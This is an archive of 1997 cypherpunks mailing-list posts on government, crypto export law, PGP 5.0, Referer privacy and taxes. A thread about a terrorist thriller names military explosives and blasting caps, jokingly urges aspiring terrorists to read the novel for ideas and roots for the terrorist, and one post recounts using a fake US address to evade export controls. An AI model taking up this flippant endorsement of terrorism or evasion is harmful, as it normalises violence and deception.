> and people are still going to keep most of their agreements with
> their neighbors, and they're still going to help each other resolve
> arguments about the agreements that weren't kept, whether that
> resolution is done by an armed posse, or by the offender's family
> paying off the obligation in cattle, or by shunning people until they
> do the right thing, or refusing to give credit to known deadbeats,
> or whatever.  Government's only one choice.

It seems to me that government is the only choice when the population
gets "large" -- that is, when an individual deals with substantial
numbers of strangers.  You don't just deal with neighbors and people
you know; you have to know some rules, and you have to be fairly
confident that strangers will follow them as well.  In particular, 
you need to be confident that strangers won't be violent.

Some years ago a woman criminal law judge from the Soviet Union wrote
an interesting book about the Soviet criminal justice system.  Your
first thought might be to just laugh at the thought, but Soviet Russia
had murderers, rapists, thieves, con men -- in short, criminals -- and
they had to be dealt with.  Many of the issues are the same wherever
you are -- what was the crime? What is the evidence? Who is telling
the truth? What are the laws and precedents that apply?  What is the 
appropriate punishment?

Criminal acts are a fact of life in every society.  In a stable,
relatively homogeneous society, I believe, a reasonable justice system
would always evolve, and that system would have a monopoly on
violence.  The population as a whole has a shared idea of what is just
and what is not, and the justice system actually provides it.  This
is, I believe, essentially independent of the political system. 

But back to "government" and "society" -- it's not that I think the
concepts aren't distinct -- like "anarchy", they are just words, you
make or use definitions.  What I was getting at was the reality of
things -- there isn't any clear dividing line where "society" leaves
off and "government" begins.  Leaves are a distinguishable part of a
tree; different kinds of trees have different kinds of leaves; but all
trees have leaves of some form or another, and if you remove the
leaves the tree will die.  And there is no point at which you say the 
tree ends where the leaf begins.

A cop has the authority to use force, but that cop drinks the same
beer we do, watches TV, reads the newspaper, etc; and his behavior,
including his use of force, is conditioned by all that social
experience.  At higher levels of government -- rich people hobnob with
congresspeople, presidents, and supreme court justices.  Businesses
have contracts to supply the US military.  Universities have contracts
to run government labs.  There are elections, initiatives, open
committee meetings.  All people who are elected or work for the 
government consume groceries and toilet paper.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 18 May 1997 22:08:35 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199705181349.JAA25495@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


  Declaration of Digital Independence
 -------------------------------------

We, the computer-literate and technologically superior, in order to
break the ignorant chains of those who hold us back, do hereby
declare our freedom from those who control what they do not
understand. We wish to no longer hear the cries of
"pornography-superhighway" and "cyber-patrol". We reject the
repulsive nonsense shoved down our throats by all forms of media
telling of the dangers of piracy, pornography, and in general, free
thought. There are no "cyber-molesters" we cannot stop as a people.
If you educate your children like the good parent you should be,
they should know what is right and what is wrong, and will be wise,
young judges, with free thought and judgement. We cannot simply
"block" what we find offensive, on the net, on bulletin boards, and
as we all know, in real life. We must learn to deal with the "day to
day inadequacies" of life, and we must not simply become mindless
drones of those that fight to restrict freedom. We must fight even
harder than they, and we must fight to stay free, or all right is
lost. If it's not worth fighting for, then you have already been
brainwashed.

The internet (NOT info-superhighway, or i-way, as those terms are
simply insulting and degrading, made up by the ignorant) cannot and
SHOULD NOT be regulated. It should be allowed to make it's own rules.
It is bigger than any world you can and can't imagine, and it will
not be controlled. It is the embodiment of all that is free; free
information, friendship, alliances, materials, ideas, suggestions,
news, and more. The "Cyber-Angels" are only well-meaning do-gooders
with nothing better to do than to "tattle" on those with different
ideas than they. They use entrapment, and have twisted their ideas
and values to make them apply to cyberspace, trying to rule an area
they do not understand. Fighting for the freedom to think is good,
but to fight for an idea you believe is the only true idea is itself
ignorance. The nazis believed that they were superior, in ideas and
actions, and the "Cyber Angels" are nothing more. You cannot stop
freedom of thought, and they try anyway, to convert anyone and
everyone to their mode of thought. But those of us who see clearly
know that the internet is the greatest invention ever, topping the
telephone and electricity. It is a gathering of the mental body of
billions of people, and we will not be stopped.

The media, as it is known, is the propaganda vending machine of
today. As a whole, they trip over themselves, feeding lies to the
ignorant, and we who are not will watch too, to laugh at the
stupidity that is the media. We sit in front of our televisions, or
listening to the radio, or looking at a newspaper or a magazine, and
we laugh. We laugh and laugh, because the media has become a
ridiculous pool of lies and half-truths. They say we're more
dangerous than sicknesses, and nuclear weapons, because we choose to
laugh at their ideas and boundaries, and we fight to expand them. We
laugh at the pitiful security devices used to keep knowledge from
spreading, and we rip down the beaurocratic bullshit tape they put up
in virtual doorways. We call the boards they show on the news,
covered in ideas and values different than theirs, and we like it. We
like asking for a computer program that we never would have bought,
and having it show up in our mailboxes. We like leaving messages on
BBS' containing information on how to blow up a building or how to
kill a man with your bare hands. We like it, not because it scares
people or because it's "twisted" or "evil", but because it's
forbidden, and lost. You do not know what a "redbox" is? Come,
friend, and I will spread the lost knowledge. And when I tell you,
you will tell another, and we will be held together by the knowledge
which we "should not know". We are the illuminati, and the
enlightened. We look not to the old sciences of textbook learning,
but to the primitive ways, of communication and experience.

We are sickened by the unenlightened. We despise those who wish not
to learn, and those who read the same books, over and over again,
under different names, believing that they are learning. We are the
"different", and the "abnormal", those who are sometimes disliked
because we regurgitate the lies fed to us by the governing. Everyone
has the need to know, the curiosity of the caveman who invented
fire, but some have been trained like monkeys, not ever knowing it's
there. They simply accept things, and do what is expected of them,
and this is sad. They are those who never fight back, and never open
their minds. And they are, unfortunately, usually the governing
bodies; the teachers, bosses, police, federal agents, congressmen,
senators, parents, and more. And this, my friend, must change.

We will not be "voted out", and we will not be mentally disfigured.
If they had the chance, government and the media would give everyone
a virtual labotamy. Our minds to be held in chains, forced to take in
what is given. This is unacceptable. We will not be held down, by
the ignorant, the foolish, and especially the lazy. We take your
textbooks and your lies, and we put them back in the dusty
storerooms where they belong. And we share ideas, and make new ones,
and sometimes ask for a hand to hold, and not one around our throat.
We see what no others can, and what no others want to see. It is a
technological revolution, and a revolution of ideas. We will fight
in battles for our freedom to think, should there be any, but we will
not start any. We are not a violent group, but our opposition
believes ideas should not be let loose to grow, and they will begin
the battle. They have no honor, stealing from us our rights, our
liberty, and our freedom of thought. And for this, we label them
unforgiven...


- Anarchy, and the AoC...








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 19 May 1997 01:23:22 +0800
To: cypherpunks@algebra.com
Subject: Re: PGP 5.0 beta is out at PGP.com
In-Reply-To: <199705181020.DAA18483@jefferson.hidden.net>
Message-ID: <v03007800afa4f5fdcc00@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 2:20 AM -0800 5/18/97, Anonymous wrote:
>Tim May wrote:
>>
>> More than that, did they decide to release the source code?
>> Last I heard, the answer was "of course not!!!!"
>
>I recently heard from a PGP employee that they plan to release ALL
>source code, including non-crypto code.

I checked the www.pgp.com site and saw no evidence of source code.

Anyway, I decided to go ahead an take a look at PGP 5.0, the Macintosh
version (someone said it was only for Windows/NT, but this appears not to
be so...perhaps by "only" the person meant "no DOS version"?)

Alas, the lookup is too dumb:

"Please accept our apology for any inconvenience, but at this time we
cannot permit a real-time download of the
       product you have requested. The specific problem encountered is:

              InterNIC does not know who `tcmay.got.net' is.

              Sorry. "

I'll have to get it off the Iraqi or Syrian sites.

--Tim May





There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 19 May 1997 01:54:38 +0800
To: cypherpunks@algebra.com
Subject: Crypto, C4 Explosives, and Destroying the Infrastructure
Message-ID: <v03007801afa4f88363e2@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



I'm engrossed in a good terrorist thriller (*), Joseph Finder's "The Zero
Hour," just out in paperback. It's a detailed account of sabotaging the
U.S./statist infrastructure by a determined billionaire intent on getting
revenge for the murder of his wife and daughter by U.S. agents. He hires an
expert terrorist to take out the U.S. banking industry...what a rush!

(* The conventional "spy thriller" has been largely supplanted by the
"terrorist thriller," given the replacement of the Evil Empire by the Four
Horsemen. Even the Chief Anti-Cryptography, David Aaron, has written a
couple of them. I read the first one, many years ago, and it was pretty
good.)

The detail in Finder's book is quite good. Lengthy discussion of NSA, RC4,
Crypto AG and the NSA tamperings with their products, banking, etc. Even
Hacktic plays a role. Finder is, when not a novelist, a reporter for
leading papers (NYT and WP) on CIA and intelligence matters, so he knows a
lot.

What's really interesting is just how accurate and insightful _most_ of his
crypto stuff is...he really shows evidence of knowing how RC4 works, how
cryppies at NSA do their cryptanalysis, and how Inmarsat portable satellite
phones work.

However, there are a couple of *obvious* errors. My supposition is that he
"pulled his punches" a little, choosing to gloss over certain things which
would have made the "terrorist" essentially impossible to detect. (The most
glaring error, which he surely knew better about, was to assert that NSA
could break any cipher if given enough time and computer power.)

I surmise from how he altered factual details about the world of
cryptography--though masterfully--that he also subtly tweaked some details
in other areas. I, for example, don't plan to use the cyclotrimethylene
trinitramine version of C4, allegedly free of the usual odor-producing
impurities, for any of my sanitization efforts! (He also describes some of
the flaws in the bombs used in the World Trade Center and Oklahoma City
bombings...any aspiring terrorist should certainly read this novel for some
ideas...taking into account the deliberate errors he inserted, as with the
crypto errors!)

A real explosives expert would see in his detailed descriptions of where
and how to get the M6 Special Engineer Electrical Blasting Caps and the
M-112 Charge Demolition Blocks the same kind of subtle tweakings of the
truth that he put into his convincing descriptions of cryptanalysis.

But it's still an excellent novel. I, of course, am rooting for Baumann,
the terrorist.

The usual warning applies: avoid soft targets.

--Tim may

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Mon, 19 May 1997 02:07:39 +0800
To: Tim May <tcmay@got.net>
Subject: Re: PGP 5.0 beta is out at PGP.com
In-Reply-To: <199705181020.DAA18483@jefferson.hidden.net>
Message-ID: <3.0.2.32.19970518105324.00ad0cc0@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:11 AM 5/18/97 -0800, Tim May wrote:

>Anyway, I decided to go ahead an take a look at PGP 5.0, the Macintosh
>version (someone said it was only for Windows/NT, but this appears not to
>be so...perhaps by "only" the person meant "no DOS version"?)

Actually I meant no Unix version.  (I tend to ignore the Mac.  I have damn
near everything else at this point...)

My mistake... 

Need more caffiene...

"It is by caffiene alone I set my mind in motion."
---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 18 May 1997 18:55:59 +0800
To: gbroiles@netbox.com
Subject: Re: Distributing cryptographic code
In-Reply-To: <3.0.1.32.19970517183655.00867d60@mail.io.com>
Message-ID: <199705181044.LAA00597@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Greg Broiles <gbroiles@netbox.com> writes:
> [...]
> Also, one person commented within the coderpunks thread:
> >>>>
> A disclaimer would be adeqate protection if I remember correctly.
> I don`t recall what the situation is in the US, is it the case that
> the provider of the information is guilty of export, or the person
> that actually downloads it, if it is available via anonymous FTP???
> <<<<
> 
> A disclaimer is not good enough. Both are potentially liable under US law
> (modulo arguments about constitutionality, vagueness, etc). The downloader
> is guilty of an illegal export, and the person who made the software
> available is (using the definition in 15 CFR 734.2) guilty of an export,
> and also has potential liability for conspiracy and/or aiding and abetting,
> depending on the facts of the particular case. 

The downloader by definition is restricted by his own national laws
not by US laws.  US attempted world policeman attitude does not mean
that US laws apply outside the US, particularly not to non-US citizens
outside the US.

(Yeah, I know tell that to Noriega, but that was simple kidnap).

(The UK has recently introduced a few laws which they claim apply to
UK nationals outside when resident outside UK also... bad trend.)

The counter argument is that say Iraq says that you must not show
pictures of women's faces.  Do you similarly honour Iraqs request to
extradite the news media in the US?

Extradition treaties to my understanding tend rely on the crime being
a crime in both countries.  For illegality of exporting crypto code on
the Internet the US is largely on it's own.  And anyway, I'm
_importing_ crypto, you're exporting it, or at least allowing me to
import it.  There are even fewer examples of import restrictions than
of export restrictions.


Personally I would feel no compunction in downloading anything I
choose from any US site on the basis of US laws; they do not apply to
me.

However out of politeness to the operators of the US archives I would
generally not recommend this for the simple reason that it might get
the archive operator in trouble.  This is my only consideration.

For a giggle a while back I had a go at downloading Netscape 128 bit
browser using anonymizer.com.  Found a handy US zip code, phone number
street address (I used a US bank's, which I found handily on the web).

Damn would've worked too, only it tried to open an SSL session through
anonymizer.com for the download and anonymizer doesn't support SSL
sessions (or didn't then).  Bummer :-) So I had to download it from
Alex de Joode's site ftp.replay.com in the Netherlands instead which
was faster anyway.

Self appointed world policemen are fooling themselves if they think
they have any control over bit flow.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 19 May 1997 03:02:59 +0800
To: cypherpunks@algebra.com
Subject: Re: PGP 5.0 beta is out at PGP.com
In-Reply-To: <199705181020.DAA18483@jefferson.hidden.net>
Message-ID: <v03007803afa50c3704d1@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:11 AM -0800 5/18/97, Tim May wrote:

>
>I'll have to get it off the Iraqi or Syrian sites.
>

Hey, thanks everyone, no more pointers are needed. My favorite crypto guru
in the Estekhbarat gave me a pointer to his site. Alas, my version of the
Macintosh OS is not recent enough to use this program.

(Funny how most Windows software will run on the 6-year old 3.1, but Mac
software often requires the latest "x.01" rev of the unstable OS. I knew
I'd pay a price for defecting from the Borg.)

Shows you that ordinary compatibility issues are a more effective bar to
world-wide use than the weak attempts by the USG to limit access by
foreigners. When the Estekhbarat has it, you _know_ such controls are
pointless.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Mon, 19 May 1997 03:05:15 +0800
To: cypherpunks@cyberpass.net
Subject: Re: PGP 5.0 beta is out at PGP.com
In-Reply-To: <v03007800afa4f5fdcc00@[207.167.93.63]>
Message-ID: <199705181853.LAA01875@netcom18.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May writes:

> I'll have to get it off the Iraqi or Syrian sites.

Quite frankly, if PGP is now 5 meg of Lord-knows-what that won't even
execute from a command line under DOS, I think I will stay with version
2.6, whose contents I am familiar with. 

Just another shrink-wrapped box of GAK, until otherwise demonstrated. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Mon, 19 May 1997 03:42:51 +0800
To: Tim May <tcmay@got.net>
Subject: Re: PGP 5.0 beta is out at PGP.com
In-Reply-To: <v03007800afa4f5fdcc00@[207.167.93.63]>
Message-ID: <3.0.2.32.19970518122142.00b2c7f0@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:49 AM 5/18/97 -0800, Tim May wrote:
>At 10:11 AM -0800 5/18/97, Tim May wrote:
>
>>
>>I'll have to get it off the Iraqi or Syrian sites.
>>
>
>Hey, thanks everyone, no more pointers are needed. My favorite crypto guru
>in the Estekhbarat gave me a pointer to his site. Alas, my version of the
>Macintosh OS is not recent enough to use this program.
>
>(Funny how most Windows software will run on the 6-year old 3.1, but Mac
>software often requires the latest "x.01" rev of the unstable OS. I knew
>I'd pay a price for defecting from the Borg.)

The reason for this is that the MicroBorg made it too hard to develop for
the latest version of their software.  (Probably in an attempt to kill
off/assimilate Borgland.)  Many people stuck with the old tools instead of
upgrading to the new ones...

I prefer Unix.  At least most tools come with source...  (And the GNU
compilers are a hell of a lot more stable and bug free than their Windows
counterparts.)

>Shows you that ordinary compatibility issues are a more effective bar to
>world-wide use than the weak attempts by the USG to limit access by
>foreigners. When the Estekhbarat has it, you _know_ such controls are
>pointless.

When I want to point out how absurd the whole thing is, I just tell them
about what it takes to get PGP.  Either jump through the hoops in the US or
go to one of many offshore sites and not jump through the hoops.  It also
helps when a couple of the "big name" algorythms are patented/created by
companies outside of the US.  ("Wait.  You mean I can't distribute IDEA
because it might fall into foreign hands?  But it's owned by the Swiss!")

>There's something wrong when I'm a felon under an increasing number of laws.

When will they learn that the reason people have so much disrespect for
laws is that we have so few laws worth respecting?

>Only one response to the key grabbers is warranted: "Death to Tyrants!"

I am waiting for one of these CongressCritters to propose a "Chastity Belt
Key Escrow bill".  Especially for those pages on the Senate floor...
(OBCongressJoke: "Why don't congressmen use bookmarks?  They like their
pages bent over.") I can just imagine the debate on that one!



---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Mon, 19 May 1997 03:46:53 +0800
To: mpd@netcom.com (Mike Duvos)
Subject: Re: PGP 5.0 beta is out at PGP.com
In-Reply-To: <v03007800afa4f5fdcc00@[207.167.93.63]>
Message-ID: <3.0.2.32.19970518122618.00aa85e0@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:53 AM 5/18/97 -0700, Mike Duvos wrote:
>Tim May writes:
>
>> I'll have to get it off the Iraqi or Syrian sites.
>
>Quite frankly, if PGP is now 5 meg of Lord-knows-what that won't even
>execute from a command line under DOS, I think I will stay with version
>2.6, whose contents I am familiar with. 
>
>Just another shrink-wrapped box of GAK, until otherwise demonstrated. 

Have you noticed that none of the PGP people have posted as of late?  I
wonder if they were among the "purged".

---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 19 May 1997 04:02:34 +0800
To: Tim May <cypherpunks@algebra.com
Subject: Re: Crypto, C4 Explosives, and Destroying the Infrastructure
In-Reply-To: <v03007801afa4f88363e2@[207.167.93.63]>
Message-ID: <v03007803afa50d9f1b3f@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>However, there are a couple of *obvious* errors. My supposition is that he
>"pulled his punches" a little, choosing to gloss over certain things which
>would have made the "terrorist" essentially impossible to detect. (The most
>glaring error, which he surely knew better about, was to assert that NSA
>could break any cipher if given enough time and computer power.)
>
>I surmise from how he altered factual details about the world of
>cryptography--though masterfully--that he also subtly tweaked some details
>in other areas. I, for example, don't plan to use the cyclotrimethylene
>trinitramine version of C4, allegedly free of the usual odor-producing
>impurities, for any of my sanitization efforts! (He also describes some of
>the flaws in the bombs used in the World Trade Center and Oklahoma City
>bombings...any aspiring terrorist should certainly read this novel for some
>ideas...taking into account the deliberate errors he inserted, as with the
>crypto errors!)
>
>A real explosives expert would see in his detailed descriptions of where
>and how to get the M6 Special Engineer Electrical Blasting Caps and the
>M-112 Charge Demolition Blocks the same kind of subtle tweakings of the
>truth that he put into his convincing descriptions of cryptanalysis.
>

Any intelligent terrorist knows that explosives are old hat.

Perhaps this is an opportunity for CPs to join in and re-write the book
with a more factual basis and outcome, are re-publish on-line.  I volunteer
to OCR.

-Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 19 May 1997 04:07:48 +0800
To: cypherpunks@cyberpass.net
Subject: PGP 5.0 beta problem
In-Reply-To: <v03007800afa4f5fdcc00@[207.167.93.63]>
Message-ID: <v03007804afa50e6649fe@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


Have any other Mac CPs tried using verion 5.0 with CryptDisk?  When the
PGPMenus extension is installed any attempt to open an encrypted volume
generates a "Not enough memory to mount disk" message.  I ahve pleanty of
RAM abd suspect a lack of System memory (e.g., stack space).

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 19 May 1997 02:14:37 +0800
To: cypherpunks-hosts@manifold.algebra.com
Subject: improving reliability of cypherpunks@algebra.com
Message-ID: <199705181807.NAA31088@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Hi There,

I have come up with a way to reduce latency and improve reliability of
cypherpunks@algebra.com node, by way of tinkering with DNS and mail
aliases at a friendly site.

I plan to implement the new scheme and then seamlessly transfer 
cypherpunks@algebra.com to a better connected host. This transition is
supposed to change NOTHING in the way cypherpunks@algebra.com looks
to its users, subscribers, and peers. It is also supposed to be painless
to the subscribers. Operation of cyperpunks@algebra.com will NOT be 
interrupted at ANY time.

However, whenever computers are involved, there are things that can go
wrong. You will also receive some number of test messages. I hope that
you will understand that and I will take all steps to prevent any 
inconveniences.

Thank you

igor





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Mon, 19 May 1997 04:42:03 +0800
To: cypherpunks@cyberpass.net
Subject: Re: referers and W3 (fwd)
Message-ID: <199705182021.NAA04042@crypt.hfinney.com>
MIME-Version: 1.0
Content-Type: text/plain


Rich Graves, <llurch@networking.stanford.edu>, writes:
> A friend who webmasters a large site that is implementing referer-specific
> content sent me this when I mentioned the cpunks/cryptography thread of a
> few months back. I basically agree with the W3C. While user education on the
> potential privacy threat is essential, I do not believe that Netscape should
> violate published technical standards. There are also privacy and property
> issues from the server's perspective.

I'm not sure what Netscape action you are referring to, but if it is
giving the users the option to block the Referer tag, RFC2068, which is
HTTP/1.1, already endorses this:

     Note: Because the source of a link may be private information or
     may reveal an otherwise private information source, it is strongly
     recommended that the user be able to select whether or not the
     Referer field is sent. For example, a browser client could have a
     toggle switch for browsing openly/anonymously, which would
     respectively enable/disable the sending of Referer and From
     information.

and later:

   We suggest, though do not require, that a convenient toggle interface
   be provided for the user to enable or disable the sending of From and
   Referer information.

I use Eric Murray's fine "cookie jar" privacy program when I am web
browsing on my Linux system (http://www.lne.com/ericm/cookie_jar/).
It blocks cookies and advertisements via a very flexible config file
mechanism.  It also eliminates other privacy-revealing outgoing data,
including Referer, and could be easily modified to play all kinds of
games with Referer for the adventurous.

In the news recently, Ticketron is blocking links from some Microsoft
affiliated sites due to a disagreement about licensing.  I don't know the
details of how it is done technically, but possibly it is done by looking
at the Referer tag to see if the user linked from the Microsoft site.
If so, this would be a good example of the browser sending information
which is detrimental to the user.

Hal





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Mon, 19 May 1997 05:22:01 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Just Say "No" to Congress
In-Reply-To: <Pine.SUN.3.91.970516230840.24291E-100000@beast.brainlink.com>
Message-ID: <199705182104.OAA20232@netcom14.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



R.A.:
>You seem to be misinformed.  You don't send your money to Uncle Sam.  It 
>gets taken out of every pay check before you even see it.   Then, come 
>April 15, you fill a piece of paper out with the hope you'll get some of 
>it back.  But sometimes, Uncle Sam takes even more.

right. and those who do nothing to change this, certainly can't expect
that it will ever change.  but in fact it *has* changed before. it
wasn't always the case that money was withhold. this law was introduced
during WWII as I understand it.

is it true that something that can be done cannot be undone? or can
the withholding tax be undone just as it was done? a certain amount
of energy was expended in creating the situation that we find ourselves
in-- decades of entrenchment. I submit that exactly the same amount
of energy applied to the problem can *undo* it. it's a simple concept
of conservation of energy. granted, a lot of energy is involved, I don't
deny that. but *no* energy will get you absolutely nowhere. 

what others are claiming is that no amount of energy will change
anything, so why bother? indeed, why bother with your life at all?
perhaps suicide is the easiest and ultimate solution for people who
think this way. there are things in your life that you think you
can change, right? why is the tax system not included in that category?
I agree, one person cannot change the system. do not give me examples
where one person failed. this is conservation of peoplehood; if many
people were involved in its creation, than many must be involved in
its destruction.

T.M.:
>As for my being hypocritical, Detweiler is free to think whatever he
>thinks. If and when I go down in a shootout with the fascists, I expect
>it'll be over something more dramatic than not paying my taxes.

just out of curiosity timmy, what would you think is more likely?

>> ok truthmonger, after someone has stolen your money, do you
>> report it to the police, or do you just sit around and
>> curse the evildoer? what is your response when your money
>> is stolen?
>
>  I kiss it goodbye and forget about it.

oh really? here are some questions that anyone can ask about
why their money was stolen.

1. who is the person who stole my money?
2. why did they steal it?
3. what could prevent it from being stolen?
4. what can I do to protect my money from being stolen?


government construction is an *engineering* problem. you cannot
build something without putting thought and labor into it.
I believe that if cpunks put their mind to it, they could create
a better system than we now have-- and it wouldn't be anarchy (which
is no system at all).

truthmonger:
>I've lost a few thousand dollars worth of goods to thieves,
>but criminal cops have cost me tens of thousands of dollars in
>the legal system.
>

what if you showed up on the doorstep of a politician of your choice
who you thought was stealing money from you? what if not only you
but many people did this? would the government change? would they
shoot you?


I don't buy into the alienation and cynicism on this list peddled
by TCM, truthmonger, et.al., and I suggest that anyone else who
does is selling themself short, and in fact part of the problem and
not the solution.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: iang@cs.berkeley.edu (Ian Goldberg)
Date: Sun, 18 May 1997 22:54:49 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Distributing cryptographic code
In-Reply-To: <9705161836.AA28876@angreal.MIT.EDU>
Message-ID: <5ln43g$pki@abraham.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In article <3.0.1.32.19970517183655.00867d60@mail.io.com>,
Greg Broiles  <gbroiles@netbox.com> wrote:
>But a clerk in Egghead who sells a copy of 128-bit Netscape to a "foreign
>person" is also guilty of an export violation.

Not the way I read the regs (IANAL)...  734.2(b) provides a completely
different definition of "export" for encryption software ((b)(9) instead
of (b)(2)(ii)).

   - Ian

734.2(b):
	(b) Export and reexport--(1) Definition of export. ``Export'' means
    an actual shipment or transmission of items subject to the EAR out of
    the United States, or release of technology or software subject to the
    EAR to a foreign national in the United States, as described in
    paragraph (b)(2)(ii) of this section. See part 772 of the EAR for the
    definition that applies to exports of satellites subject to the EAR.
    See paragraph (b)(9) of this section for the definition that applies to
    exports of encryption source code and object code software subject to
    the EAR.
	(2) Export of technology or software. (See paragraph (b)(9) for
    provisions that apply to encryption source code and object code
    software.) ``Export'' of technology or software, excluding encryption
    software subject to ``EI'' controls, includes:
    <snip, irrelevant to EI>

734.2(b)(9):
	(9) Export of encryption source code and object code software. (i)
    For purposes of the EAR, the export of encryption source code and
    object code software means:
	(A) An actual shipment, transfer, or transmission out of the United
    States (see also paragraph (b)(9)(ii) of this section); or
	(B) A transfer of such software in the United States to an embassy
    or affiliate of a foreign country.
	(ii) The export of encryption source code and object code software
    controlled for EI reasons under ECCN 5D002 on the Commerce Control List
    (see Supplement No. 1 to part 774 of the EAR) includes downloading, or
    causing the downloading of, such software to locations (including
    electronic bulletin boards, Internet file transfer protocol, and World
    Wide Web sites) outside the U.S., or making such software available for
    transfer outside the United States, over wire, cable, radio,
    electromagnetic, photooptical, photoelectric or other comparable
    communications facilities accessible to persons outside the United
    States, including transfers from electronic bulletin boards, Internet
    file transfer protocol and World Wide Web sites, unless the person
    making the software available takes precautions adequate to prevent
    unauthorized transfer of such code outside the United States. Such
    precautions shall include:
    <snip; this part was in the previous note>

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBM38TokZRiTErSPb1AQHZJgP/aFc77erbX8CTK5dKDOskMas5eqHPTj36
VkALz17gkkZLbOs8jafc/hCVRgAC5wiF29CLE33XX2Ngvb8O98mwQFFGnJaUj0+9
